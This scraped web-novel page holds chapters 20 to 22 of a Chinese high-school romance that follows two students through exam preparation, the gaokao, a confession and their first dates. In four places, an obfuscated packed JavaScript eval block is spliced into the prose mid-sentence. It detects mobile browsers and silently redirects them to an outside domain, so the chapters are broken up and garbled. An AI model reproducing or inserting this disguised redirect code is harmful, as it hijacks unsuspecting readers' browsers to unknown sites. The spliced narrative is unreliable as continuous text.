面前单薄英俊的少年,比谁都高冷,其实内里比谁都柔软,像青皮橘或山竹,剥开咬下去才知道是最清爽的酸甜味道。而且,会让人上瘾。 她忍不住问:“就只是一起上大学吗?” 他垂眸,目光清淡:“不然呢。” 有些问题的答案,好像已经呼之欲出。 被包裹着的糖果,只要让人尝到甜头,觊觎的心就会蠢蠢欲动。 江皓月突然很想知道:“不、不……”不谈恋爱吗? 她“不”了半天,说出来之前,先自己把自己憋得脸颊通红。 在她想放弃时,裴鹤宁朝着她的方向弯腰,耳朵靠到她嘴边:“什么?” 少年鬓角修剪整齐,长而翘的睫毛鸦羽般柔软低垂,抿起的嘴角有十七八岁独有的青涩温柔。 她抱着书的手指因为用力关节泛白,一鼓作气问他:“不谈恋爱吗?” 每个字音都像豌豆射手的豆子,噼里啪啦从嘴里蹦出来。 完全没有想到她会如此直白,裴鹤宁怔在那里,长睫毛微不可查颤了下。 他毫无防备,喉结滚动的线条清秀也冷厉,下意识说:“不……” 当他垂眸,江皓月又把毛茸茸的脑袋凑过来了,大眼睛扑闪清亮灵动,目光从他眼睛到他慢慢变烫的耳根。 “做什么?”他问。 江皓月的脸颊也很烫,后知后觉的害羞来势汹汹,可是耳朵红红的裴鹤宁纯情又貌美,她忍不住想要调戏他:“我看看你的鼻子有没有变长……” 她同样害羞,害羞到不敢和他对视太久,小小声咕哝道:“匹诺曹说谎鼻子就会变长……” 在耳根彻底没办法看之前,裴鹤宁的手覆在她的脑袋上,轻轻推开,语气无奈透出求饶意味:“你到家了。” 晚饭后,江皓月翻开裴鹤宁给她的笔记,脑海却全是少年偏过头不看她时、红到滴血的耳朵。 那个面无表情告诉她“别哭了,我的时间给你”的男生,给她的并不仅仅是三分钟。 需要熬多少个晚上,才能整理高中三年的笔记,还让自己的成绩不下滑呢。 她看着纸上俊秀清晰的字迹,心软得一塌糊涂,一个知识点一个知识点往下过,一道横线一道标记,都不舍得落在上面。 妈妈来过好几次,提醒她该睡觉了,江皓月都没有停下手里的笔。 等她捏捏酸疼的脖子看向墙上钟表,才发现已经十二点多。 躺在堆满玩偶的床上,她最后打开微信,看有没有裴鹤宁的未读信息。 没有。 对话框的内容停留在上次聊天。 嘴角瘪下去。 下个瞬间,看到什么,她把脸埋进枕头。 脸颊滚烫,热意散不开,腿还在被子里乱扑腾,像是跃出水面的小鱼。 裴鹤宁用了不知道很多年的辛巴头像,不知道什么时候换掉了—— 换成了长鼻子的匹诺曹,那个只要说谎、鼻子就会变长的家伙。 所以不谈恋爱,是他说谎。 江皓月发语音,一叠声的,浸着笑意的声音很甜:“呼叫匹诺曹!呼叫匹诺曹!” 裴鹤宁给她回了个没有感情的“。”,高冷地表示自己在呢。 江皓月笑嘻嘻继续语音轰炸:“你怎么还没睡呢?” 裴鹤宁也回过来几秒钟的语音,江皓月点下播放,把手机贴到耳边,屏住呼吸。 少年呼吸近在咫尺,冷冽嗓音因为无奈听起来格外柔软:“你让我怎么睡得着。” - 翌日。 约定图书馆见面的两人,顶了一对情侣款黑眼圈。 某些事情好像已经心照不宣,视线对上就移开,都害羞、都有点不自在。 裴鹤宁心理素质好些,先开口:“看物理吧。” 于是江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289536|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皓月把自己惨兮兮的物理卷子递到他面前,弱弱说了句:“脏你眼睛了对不住。” 少年嘴角难得勾了下:“问题不大。” 裴鹤宁给她讲完所有错题之后,让她自己整理。 江皓月应下,翻了翻自己的书包不见物理课本。 昨天大脑亢奋今天大脑都是浆糊,一不小心,丢三落四。 “你带高一的物理课本了吗?” 裴鹤宁“嗯”了声,拿出自己的物理书递给她。 用了三年的课本连个折角都没有,跟新的一样。 江皓月对照课本上的知识点改错题,物理书里掉出一张试卷。 她大致扫了眼,全对,就连大题都没有任何涂改,真是厉害。 她刚要原封不动放回去,突然目光一凝。 姓名的地方,为什么写的是“江皓月”? 她不明所以,偷瞄身边的少年。 裴鹤宁不知道什么时候睡着,脸埋在手臂,朝向她这一侧。短发蓬松清爽落在额头,长眉平直睫毛浓密,深蓝色卫衣衬得他皮肤更白,睡着的样子竟有些乖顺无害,让人心软。 你也会想起我呢。 你也……喜欢我呢。 江皓月的笔尖落在裴鹤宁的试卷上。 于是,清晰凌厉的“江皓月”旁边,多了可爱圆润的“的裴鹤宁”。 连起来,就是“江皓月的裴鹤宁”。 改了一上午错题,大脑严重超出负荷。 江皓月这才允许自己的目光,从书上落到裴鹤宁的脸上。 怎么有人睡着了也这么好看呀? 睫毛又长又翘。 鼻梁又直又挺。 嘴唇…… 当视线落到这里,江皓月的耳朵莫名发烫。 她没有谈过恋爱,还是个高中生,但是小说动漫不知道看了多少。 偶尔看着裴鹤宁,脑袋里的想法也不是很纯情。 就比如此时此刻,她觉得他的嘴唇看起来很软、似乎很好亲的样子。 停。 不要再想了江皓月。 视线被强制从少年的唇上移开,到他搭在一旁的手。 他的手指细长白皙,关节干干净没有突出,指甲修剪整齐圆润。 骨骼很清秀,手背的青筋又透着男孩子的力量感。 江皓月对着他冷白漂亮的手指落下笔尖。 她是美术生,手非常非常稳。 寥寥几笔就画出一只头顶冒着水花的小鲸鱼,画好鲸鱼之后,就要画指环。 因为他的手搭在那里,指环只能画正面的一半。 就在她叹气的时候,裴鹤宁的手动了动,变成掌心朝上。 好像只是睡着之后无意识的动作。 天助我也! 江皓月眼睛蓦地一亮,低头把戒指指环补全。 裴鹤宁昨天晚上失眠了。 闭上眼睛,就是江皓月长睫毛扑闪,瞳孔亮得不行,问他:不谈恋爱吗? 他不知道自己什么时候睡着的,只是将醒未醒的时候,手指有笔尖落下的触感。 江皓月离他很近,垂落的发丝扫在他的腕骨、手臂,不知道在他手指上画什么。 而后他的无名指上多了一只小鲸鱼。 江皓月画完鲸鱼,又在下面画圆环。 所以……是戒指吗? 他听到她叹气,找了好几次角度,笔尖不知道往哪里下。 于是他把手翻过来,方便她画完戒指的另外一半。 她画得太专心,完全没有注意到他已经醒了。 江皓月给裴鹤宁画了一只小鲸鱼戒指之后,也给自己画了一只。 于是两个人的无名指上,有了一模一样的小鲸鱼。 她悄悄拿出手机,镜头对准,按下拍摄键。 看着屏幕里的照片,江皓月心满意足,眼角眉梢都是亮晶晶的喜欢。 当她垂眸,猝不及防跌入一双清亮如水的眼睛,呼吸骤停。 任她摆布的裴鹤宁枕着手臂,耳朵红透,睫毛浓密的眼睛却有些湿漉漉的,视线相对,他轻声问:“玩开心了吗?” 20.第 20 章 三月下旬,各大美院成绩陆续公布。 但凡去参加考试的学校,江皓月都拿到了合格证,但她根本没时间高兴,美术集训欠下的考试,现在全部补回来了。 白天一片叉号的试卷摆在面前,晚上一片叉号的试卷又飞到梦里,她无数次梦见,自己距离理想院校提档线只差一分。 即使醒来,她也没有办法松口气,因为照她目前的成绩来看,差一分都属于超常发挥了。 她只能睡得更晚,起得更早,可是心疼坏了妈妈爸爸。 “差不多就行了,咱可不能把身体累坏了。” “就是,全国又不是只有清美和央美,别的美院一样很好嘛!” “你之前不还说想去四川吗?你喜欢大熊猫,还喜欢吃辣……” “广州也不错呀,吃吃美食、学学粤语,去港澳玩也很近。” 江教授和许医生从没给女儿树过什么远大目标,栋梁之材,谁爱当谁当,他们家的小树只要别长歪就可以了。 现在看着女儿个子不高书包挺大、每天早出晚归的,两人心里都挺不是滋味。 “不要,我就要去北京,”江皓月倒上咖啡装进书包,“我去学校啦。” 她知道成绩提高很难,尤其是别人二轮复习已经结束,她的一轮复习刚刚开始。 只是每次努力每次满心期待每次都换来一片叉号的试卷,她也有点不知道怎么办了。 又一次,不及格的化学试卷发下来。 江皓月端端正正拿出笔记等老师讲评,老师却说:“这些题型一模二模已经讲了很多遍了,考得差的同学应该反思自己,我就讲几个题……” 晚自习第三节课下课,放学铃声响起。 江皓月收拾好书包,走到裴鹤宁身边:“走吧。” 她又剪回齐耳短发,发丝乌黑柔顺,发尾柔软向里蜷在脸颊两侧,只是垂着脑袋的模样,像蔫了的小蘑菇。 裴鹤宁喊她的名字:“江皓月。” 江皓月低低“嗯”了声。 裴鹤宁轻声命令:“抬头。” 江皓月吸吸鼻子,抬起一张瘪着嘴角的脸。 她晚自习的时候偷偷哭过,从小到大一哭就很明显,眼皮红、眼睛也红。 其实偷偷哭一下发泄一下也就没事了,偏偏裴鹤宁发现了,偏偏他还问,偏偏他还俯下身特别温柔特别温柔地注视着她。 她眼眶又有点热热的,错开视线,嘴硬道:“我没哭。” “嗯,我知道。” 裴鹤宁手撑着膝盖,保持和她平视的高度,那双眼尾微微弯的眼睛,像在看闹脾气的小朋友:“是小太阳下雨了。” 字音咬得干净清晰,带着哄人的鼻音和一点点纵容的笑意,落在耳边,好听得过分。 江皓月好不容易筑起来的心理防线,冰激凌一样融化掉:“怎么办呀,就是考不好呢……” 裴鹤宁很认真地问:“要多好才算好?” 江皓月很固执:“能考上清美央美才算好。” 裴鹤宁:“就算高考去不了,还有研究生。” 江皓月哭过的眼睛水润润的,随时都能掉下眼泪一般,委屈巴巴道:“可我也想和你一起去一个城市上大学……” 大多数美术生都会对央美、清美有点执念,但江皓月一直以来都是个随遇而安的人,得不到的就不要了,强求只会让自己辛苦。 可是她想离裴鹤宁近一点。 “你不需要考虑我,”裴鹤宁压低的嗓音很软,“就算是离北京最远的广美,也不过飞机三个小时,你担心什么?” “好呀你小子!”江皓月皱了皱鼻子,又笑得阳光灿烂,“你又偷偷查过了!” 变脸变得飞快,没长大的小孩儿一样。 裴鹤宁忍俊不禁,嘴角难得勾了下:“不哭了?” 江皓月心说,我去哪儿你都跑不掉了,那我还哭什么呀? 她笑眯眯道:“不哭啦。” “不过,好丢人……”她蹭蹭鼻尖,“我每次哭都被你撞见,都是你哄。” 她明明不怎么爱哭的,每天都高高兴兴。 可见到裴鹤宁的第一面,她就在哭鼻子。 “是我愿意哄的,”少年长睫低垂根根分明,“而且如果你找别人哄,那我怎么办。” 好温柔…… 好喜欢! 而且眼前温柔又好看的男孩子喜欢她呢…… “江皓月。” “嗯?” 少年揉了揉她又剪成蘑菇头的脑袋:“我们来日方长。” - 高三的时间,不是用日历计数,而是用试卷上的成绩计数。 当江皓月的化学从不及格到及格,数学从90分重新回到100分,高考来了。 无论为此熬了多少个日夜,高考只有短短三天。 6月9日下午,最后一场考试的交卷铃声响起。 雨下个不停,从教学楼往外看,一片黑压压的雨伞。 被分隔两端的小鲸鱼,在人群中寻找彼此,奋力朝着对方游去,最后在学校的公用电话亭停了下来。 “裴鹤宁!” “江皓月。” 两人同时开口。 “你先说!” “你先说。” 江皓月的伞柄在手里转圈,头顶上的小鲸鱼跳起舞来,她兴奋极了,尾音雀跃上扬:“会的多不会的少!我拿起卷子一看,都眼熟,你都给我整理过!” 她昂着白皙的下巴尖儿得意:“交卷的时候我还意犹未尽呢。” 裴鹤宁眼尾轻轻弯起,睫毛带笑,瞳孔深处都是干净明亮的纵容:“真厉害。” “是你教得好!要不然只剩两个月,我就只能天天哭鼻子啦。” 那段挑灯夜战的时光明明就在昨天,此时此刻竟然已经觉得遥远。 再去回想,想起的不是怎么做都不熟悉的数理化,也不是怎么背都背不完的语法,而是视频对面在她叹气的下一秒、就问她“怎么了”的少年。 “裴鹤宁,”江皓月的脸笑成软软的太阳花,“要不你暑假去办辅导班吧,你的成绩就是广告了!” 裴鹤宁不为所动,毫不犹豫拒绝:“不了,教不了。” 江皓月绷着脸,凑到裴鹤宁眼皮底下:“你的意思是不是教我一个已经受够了?已经心力交瘁了?” 裴鹤宁淡声:“不是。” 江皓月蹙眉:“那是为什么?” 裴鹤宁抿唇,片刻后,低低说了句:“我只教我喜欢的女孩子。” 当柔软缓和的字音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296748|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在耳边,江皓月的心脏似乎被人攥紧了,脑袋里猝不及防炸开烟花,带来一阵眩晕。 高考完的校园人来人往,声音嘈杂,她什么都看不见、听不见,只有他一个人清晰。 那双藏着少年心事的眼睛,清澈、澄净、令人心动怦然。 心脏一开口就能从嗓子眼里蹦出来,江皓月睫毛轻颤,声音不稳:“你刚才是要和我说什么?” 裴鹤宁清冷的嗓音,在滴滴答答的雨里落下来:“江皓月,我喜欢你。” 两道年少青涩的目光撞在一起,都害羞,都耳朵泛红,可是谁都没有移开视线。 江皓月想笑,也想藏起来,害羞到睫毛眨呀眨,可看向裴鹤宁的眼睛,瞳孔特别的亮,藏不住任何秘密。 她落落大方:“我知道,我也喜欢你!” 裴鹤宁耳根已经红得没法看。 这样的阴雨天气里,少年眉眼浓重如水墨,肤色透着冷,高中三年个子高了肩膀宽了美貌也更加凛冽,可语气里却透出因过分珍视而不确定的小心翼翼:“要不要和我在一起?” 江皓月脸红成苹果,眼睛却弯成月牙:“这么巧,我也正有此意!” 十七八岁的少年少女,在对视中慢慢红成两只熟透的虾,可是,又都在笑。 江皓月脸颊的热意降不下去,小声抱怨:“这么突然,我都没有心理准备呢。” “不突然,”裴鹤宁低声,“我已经想了很久。” 好纯情啊他…… 江皓月开心到要爆炸、也害羞到要爆炸,她好想回家关上房门把脸埋到枕头,再红着脸好好回味。 可是又好希望,时间可以按下暂停键,停在他刚刚开口说喜欢的此时此刻。 雨势渐小,两只小鲸鱼从电话亭的屋檐下游到人群中。 蘑菇头的少女在少年身边叽叽喳喳,说话声渐渐远去—— “裴鹤宁,你能再说一遍吗?” “什么?” “就是‘我只教我喜欢的女孩子’,还有‘我喜欢你’。” “做什么。” “录下来啊,这样我想听就能听到,哦还有,高一的时候我问你小蘑菇可爱还是小鲸鱼可爱,你说‘你可爱’,这个我也要。” “你点菜呢。” “裴鹤宁,你耳朵又红了嘿嘿嘿。” “……” “好不好嘛好不好嘛……” “不好。” “这就是女朋友的待遇吗?嗯?嗯嗯?呼叫男朋友呼叫男朋友!” “如果你想听,我可以每天和你说一遍。这才是女朋友的待遇。” …… 走出校门之前,撑伞的江皓月眉眼弯弯,她最后回头看向电话亭。 绿色的、钉在墙上的、三分钟就挂断的公用电话,不知道什么时候串联成线,变成了系在她和裴鹤宁手腕上的红绳。 那个她看到第一眼就喜欢上的男孩子,那个说“别哭了,我的时间给你”的男孩子,原来给她的时间并不是三分钟。 而是,漫长余生。 - 高考结束的这天晚上,一年没有上线的小蘑菇的账号,更新了动态。 配图是雨天一起游泳的两只小鲸鱼。 配文是——“我们在一起啦!” 21.第 21 章 “梁蜚,我们在一起啦!”——仓颉《玻璃糖纸》 - 很多年后,江皓月回想自己的高考—— 是下雨天,是喜欢的男孩子向她表白,是到家妈妈爸爸做了一桌她爱吃的饭菜、跟她说“辛苦了”,是姥姥姥爷、奶奶爷爷打来电话说想她,以及堆满半个沙发的礼物…… 而她站在厨房门口,脸颊红扑扑,眼里漾着亮闪闪的笑意,大声宣告:“妈妈爸爸!我!谈!恋!爱!啦!” 江教授夹了一块刚出锅的排骨,递到许医生嘴边,又夹了一块给她,毫不惊讶。 许医生给江教授竖大拇指,转头对她说:“我还以为你俩早就谈了呢。” 江皓月迷迷瞪瞪:“那你怎么都不问我呀?” 家长们不都谈早恋色变吗? 不都视早恋为洪水猛兽吗? “有什么好问的,你又不是两三岁的小孩儿,”许医生揽着她的肩膀往客厅走,“十七八岁的感情最纯粹最美好了,妈妈和爸爸都为你高兴。” “但是……”许医生顿了下。 江皓月睫毛扑闪:“什么?” 许医生看着自己婴儿肥都还没消掉的女儿,总觉得还是个没长大的小孩儿,柔声开口:“牵手可以、抱抱可以、亲亲脸颊也可以,其他的不可以。” 江皓月抿唇,声音小小的:“刚说我喜欢你呢,还没到那一步……” 许医生是过来人:“但总有一天会到那一步啊,说不定就是下次约会。” 脸颊旁边像被谁点燃一个小火炉,烘得江皓月耳朵滚烫,热意不断蔓延,因为她忍不住把亲亲抱抱的对象代入了裴鹤宁,忍不住好奇他抱她是什么力道、嘴巴亲起来是什么感觉…… 她很害羞,害羞得要命,拿了个抱枕把红透的脸藏起来,哼哼唧唧地问:“那嘴巴碰碰嘴巴可以吗?” 许医生敲她脑袋,轻叹口气:“勉强可以。” 江皓月这下眼睛也藏起来,闷声闷气道:“妈妈,我记住啦……” 晚饭后,妈妈被电话叫回医院加班,爸爸在书房看学生的论文。 江皓月回到房间,把自己摔进软绵绵的玩偶堆里,脸埋进枕头,回味今天发生的一切…… 他跟她表白了! 他是她男朋友了! 她以后可以和他牵手、抱抱,还能用自己的嘴巴碰碰他的嘴巴…… 只是想想,脸都热热的。 她点亮手机屏幕,给裴鹤宁把备注改成【男朋友】,对着手机小声说:“裴鹤宁,我睡不着,你睡着了吗?” 他几乎是秒回的:【没】 江皓月直接一个电话打过去了:“裴鹤宁……” 鼻音透着依赖,听起来格外软。 男生“嗯”了声:“怎么还没睡。” 从听到他声音的这一刻,心动开关就被“啪”地按下,心脏跳得发麻,江皓月红着脸讲情话:“我是想你想得睡不着的,你呢?” 腻腻歪歪的是她,不好意思的也是她,江皓月讲完就把脸埋进枕头,屏住呼吸等人回应,每一分每一秒都被无限拉长。 少年不自在地咳了声,嗓音低而轻:“跟你一样。” 蜂蜜罐子不知道被谁打翻,空气都是甜的。 江皓月软着声音抱怨:“怎么还没到第二天呢,我都想见你了……” “那就见。” 江皓月不敢相信自己的耳朵。 “我在楼下。” 江皓月瞬间什么都顾不上了,和爸爸打了个招呼就往楼下跑,胸口被放飞了一万只蝴蝶,蝴蝶翩跹,心动怦然。 月光如流水,笼着少年清秀利落的身形。他白T黑裤,眉眼冷峻,可怀里,是一捧浅紫色花束。 他温声:“给你补上。” 江皓月的眼睛不可思议地瞪圆,星星跑进她的瞳孔,扑闪着惊喜的光。花很漂亮,远比不上她此刻弯弯的眉眼。 她垂眸看怀里的花:“这个是芍药,这个是雪绒花,这个紫色的小小的是什么花?” 裴鹤宁告诉她:“丁香。” 江皓月又问:“丁香的花语是什么呢?” 裴鹤宁垂眸,漆黑眼底有温柔的波纹漾开,轻声说了两个字:“初恋。” 脑海有烟花,砰砰砰炸开,让人头晕目眩。 江皓月眉眼弯弯捧着花,好奇宝宝上线:“你说,初恋是第一次喜欢的人,还是第一次在一起的人?” 裴鹤宁:“不知道。” 江皓月皱了皱鼻子,模样娇憨:“不清楚你就买呀?” 裴鹤宁拇指抚平她鼻子上的褶皱,指尖一触即放。 他低声说:“我只知道,对我来说,是你。” - 翌日,毕业典礼。 江皓月拿着相机四处拍照。 和裴鹤宁遇到的电话亭值得拍,裴鹤宁教她打球的球场值得拍,和裴鹤宁一起走过的林荫道值得拍…… 镜头一转,对准梁蜚,她按下快门,真心实意感叹:“这可能就是演员追求的故事感。” 梁蜚不笑不说话的时候,会显得心事重重,忧郁清冷。 江皓月拉着梁蜚合影,问:“你大学想学什么专业呀?” 在大家都迷茫、只知道盯着成绩的时候,梁蜚就已经想好自己的路了:“我想修两个学位,一个法学,一个中文。” “我赞成你学中文,你的文笔太适合写小说了。” 每次大考结束,语文组都会把优秀作文复印发到各个班,60分的作文,梁蜚一直稳定在55分以上。 江皓月挎着梁蜚的胳膊畅想未来:“等你以后写小说了,我当你第一个读者!” 梁蜚摇头:“你当我第一个女主人公。” 江皓月惊呆:“我这么荣幸吗?” 梁蜚很认真地说:“我希望我的女主像你一样阳光、真诚、勇敢。” 江皓月被夸得不好意思,“嘿嘿嘿”笑半天:“那说好了,到时候你得给我签名!” “好。” “要特签。” “特签是什么?” “就是写一句书里的话,还得签上你的笔名。” “好。” “不不不、你要给我写to签。” “to签是什么?” “就是‘To 江皓月’这样的格式,是只属于我一个人的独一无二的签名。” “一言为定。” “那你的笔名要叫什么呢?” 梁蜚想也没想,说:“仓颉。” 江皓月没顾上问“仓颉”有什么含义,看到某人,手高高举起:“裴鹤宁!” 江皓月问梁蜚:“你俩要不要合个影呀?同学这么多年。” 梁蜚接过相机:“不了,我给你俩拍。” 镜头里,少年英俊冷淡,少女眉眼粲然,不好意思靠得太近,可看向彼此的眼里,都是干干净净的喜欢。 这时,有人不合时宜闯进镜头,何嘉豪怒道:“干嘛呢干嘛呢?你俩拍照为什么不叫上我?我高三不来就孤立我了吗?” “介绍一下,”裴鹤宁轻扬眉,一字一顿,“我女朋友,江皓月。” - 下午,江皓月回家睡了个很饱的午觉。 她昨天被表白,半夜又收到花,兴奋得睁眼到天亮,毕业典礼结束后,回家沾了枕头就睡过去。 睁开眼的时候,天都黑了。 卧室的门被慢慢推开一道缝儿,许医生小心翼翼探头看女儿是否还在睡。 江皓月伸了个懒腰,软软笑着:“妈妈我醒啦。” 晚饭后,江皓月带着辛巴出门散步。 她平日出门,都是宽松短袖运动裤,怎么舒服怎么来。 今天换了一条下摆蓬松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他们的距离不远不近,走路的时候手背几次不经意间相贴,她能感受到他的体温,短短一瞬。 说完在一起不亲亲抱抱吗? 就算他害羞牵手也是可以的吧? 还是说他对自己没有亲近的想法呢…… 不舍得分开的,好像也只是她…… 江皓月皱着小脸叹了口气,看来妈妈真的多虑了。 手腕猝不及防传来温热干燥的触感,少年声音从头顶落下:“看路,红灯。” 肌肤相贴,让江皓月呼吸一滞。 是裴鹤宁的手指松散圈住了她的手腕,男生手指细长,手背青筋明显,这么看,他的手真的很大……而她的手只要往上一点点,就能牵住他看起来很好牵的手。 她害羞的时候就会话多,睫毛扑闪扑闪:“你发没发现,今天一路都是红灯,刚才那个路口是红灯,这个路口还是红灯……” 夏日夜晚灯光昏黄,空气里有冰激凌、西瓜的香甜气息,耳边蝉鸣阵阵,不知谁的心跳正在扑通扑通、不知疲惫。 红灯正在倒计时:45、44、43…… 手腕处肌肤相贴的触感稍纵即逝。 裴鹤宁已经松开她,垂在身侧的手肤色白皙透着冷,像上好白玉。 江皓月有些失落,撇开视线。 下一秒手指被轻轻勾住,而后贴进他的掌心。 呼吸骤停,心脏悬空,不由自己。 江皓月低头,刚好看到男生修长骨节分明的手指缓缓扣入她的指缝,收紧,十指相扣。 视线相对,他垂着长睫毛轻声说:“可能信号灯也知道,我想和你多待一会儿。” 22.第 22 章 “梁蜚,他……亲我了诶!”——仓颉《玻璃糖纸》 - 原来裴鹤宁的手牵起来是这样的触感喔。 男生手指瘦直、干净,骨骼清秀,白皙的肤色看起来很冷,真的被他牵住才发现,他的掌心温暖干燥。 十指紧扣的画面刺激感官,肌肤相贴的瞬间,似乎有电流窸窸窣窣蔓延至四肢百骸,她攥紧裴鹤宁的手,害羞又开心,脸藏在人家手臂后面,扑闪着一双大眼睛,偷偷笑。 江皓月对裴鹤宁的手一直没什么抵抗力,其实她还想捏捏他的手指关节、摸摸他手背的骨骼,但是有色心没色胆,决定等下次约会再说。 手牵上之后,就没有再松开。 “今天晚上开心吗?”裴鹤宁温声。 江皓月点头:“超级无敌爆炸开心!” “如果满分100分,打几分?” 江皓月被他牵着手,嘴角一晚上都没有放下,声音也浸在蜜罐里一样又软又甜:“用户满意度调查呀?” “女朋友满意度调查,”裴鹤宁睫毛低垂,眸光认真,“我第一次给人当男朋友,做得不好你要告诉我。” 心脏被羽毛拂过,一片柔软的痒意。 江皓月的目光从裴鹤宁冷峻的眉眼,到他总是说出让人心软的话的嘴唇。有那么几秒钟的时间,她真的很想扯住他的领口让他弯腰,然后亲亲他。 “99分。” 她牵着他的手,一边走路一边晃呀晃,开心到想要蹦蹦跳跳。 只是走着走着,又回到了自家楼下,时间已经不早,她该放他回家,辛巴都累了。 别人谈恋爱也会变得这么粘人吗? 也会一边害羞,一边希望时间暂停吗? “那1分扣在哪?” 江皓月抿唇,在砰砰砰的心跳声中,鼓起勇气说:“你在我回家之前还没有抱抱我呢……” 话说到后面,声音越来越小,甚至快要听不见。 她垂着脑袋看地上两人的影子,虽然牵着手,但一直都是不远不近的距离。 那道挺拔利落的男生的影子,似乎并没有和她再亲近一点的意思。 她是不是有点过分腻歪了? 这才是在一起的第二天呢…… “在一起的第二天就抱抱,进度快了点哈?”裴鹤宁没说话,江皓月抬手蹭蹭发烫的脸颊,干巴巴笑了笑:“那我回家啦,拜拜男朋友,拜拜辛巴!” 裴鹤宁会不会觉得她太粘人呀? 可是喜欢一个人就是忍不住想要和他贴贴嘛…… 裴鹤宁不想吗? 江皓月这样乱糟糟想着,转身往家的方向走,没有注意到裴鹤宁并没松开她的手。 男生手上力道收紧时,她被向后的力道带着转身,毫无防备撞进他的怀里,清冽的薄荷香气铺天盖地。 眼前暗下来,是男生的浅蓝衬衫,裴鹤宁个子很高很高,上身微微弓起了一点,让拥抱并不紧密,可也足够亲昵。 两颗心脏扑通扑通,分不清谁的更快一些。 原来拥抱是这样的。 很安心。 很治愈。 裴鹤宁松散圈着她的肩,另一只手摸摸她的头,她简直要无声无息融化掉了。 “现在呢。” 江皓月甜得像被喂了颗糖,清清嗓子埋在他怀里数数:“99.1,99.2,99.3……” 很好听的轻笑声落在耳边,耳朵尖儿发麻。 她仰起脸,对上男生倏然弯下去的眼尾,瞳孔都是明亮的温柔和纵容。 心跳在加速,她的喜欢好像跟着嘴里的数字到达顶峰:“99.7,99.8,99.9……” 早知道就给他打80分了! 那样的话还能多抱一会儿…… 就在她要不情不愿松手时,清冷凝定的嗓音从头顶落下:“99.91,99.92……” 拥抱又被延长十秒。 江皓月甜得在冒泡泡,大着胆子要求:“裴鹤宁,以后每次分开之前,都要抱抱……” 回应她的是—— “遵命。” - 高考结束后,小蘑菇的账号新建合集,之前的画都归类到“暗恋合集”,而从那张鲸鱼雨伞的照片开始,是恋爱合集。 在新合集的更新里,小蘑菇和小鲸鱼长大了,小鲸鱼变成青涩英俊的少年,小蘑菇长成脸颊圆圆捧着花的少女。 画笔记录了他们第一次牵手、第一次拥抱、第一次看电影、第一次一起凌晨起床看日出……还有无数个“第一次”未完待续。 夏至在高考成绩出来之前。 这一天的江皓月格外忙,早饭是在自己家吃的,午饭是在奶奶家吃的,晚饭还要去姥姥家——美术集训一训就是十个月,高考前她又每天陀螺似的转个不停,两家老人都想她想得不行,都恨不得把家里攒的所有宝贝一股脑捧给她。 她的短发烫了羊毛卷,别着古灵精怪的蛋糕形状发卡,穿着好漂亮的明黄色小裙子,坐在长辈中间,暖融融的爱意像阳光晒过的棉被柔软蓬松。 手机里,有梁蜚、欢乐哥的信息。 暑假刚开始,梁蜚就找了一份家教兼职,用高三每次考试的成绩把自己明码标价,时薪很高。 她给她发了快递的取件码,附言:【我终于也可以送你很贵很贵的巧克力了,祝我的小太阳生日快乐】。 江皓月看得眼眶发热:【你给自己买好吃的嘛!干嘛给我买那么贵的东西……】 她又点开欢乐哥的对话框,何嘉豪说:【数位板晚上拿给你!生日快乐老铁!】 江皓月回了个“小蘑菇鞠躬谢谢”的表情包。 最后,是裴鹤宁:【晚上回家,分你男朋友十分钟?】 江皓月眉眼弯弯:【好啊!】 “皓月,过来切蛋糕啦!”姥姥叫她。 江皓月放下手机:“姥姥我这就来啦!” 回家已经是晚上九点。 爸爸的车开进地库,江皓月一刻不停奔向她喜欢的男孩子。 裴鹤宁和辛巴已经等在楼下。 远看的话,真的是很冷酷又很吸引眼球的画面——冷如霜雪的英俊少年,威风凛凛的功勋犬,让人只敢过过眼瘾,搭讪都不敢走近。 今夜月色明亮,笼着十八岁少年修长挺拔的身影,这哥高中三年从185长到了1米88,身高腿长自带压迫感,眉眼轮廓清晰锋利,鼻梁又直又挺,不笑的时候嘴角微微向下,清心寡欲冰山帅哥一个。 江皓月恍然发现,裴鹤宁已经可以用“禁欲”这样的形容词了。 “裴鹤宁!” 视线对上的下一秒,少年冷淡至极的眼睛有了笑,冰雪消融。 他张开手臂,接住扑进他怀里的她。 江皓月有些心疼,摸摸辛巴的脑袋,又仰起脸看他:“等很久了吗?” “没,刚到。” 江皓月收紧手臂。 她好像对抱抱有点上瘾,她喜欢裴鹤宁身上清冽的薄荷味道、任何时候都是干干净净清清爽爽的,喜欢男生劲瘦的腰身,抱起来有点硬,她怀疑有腹肌,但是还没有机会看一看。 “女朋友,生日快乐。” 裴鹤宁的声音贴着耳边划过。 江皓月眼睛里映着弯月,瞳孔色泽柔和皎洁:“超级无敌快乐!” 这时,辛巴过来用脑袋蹭她的手,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 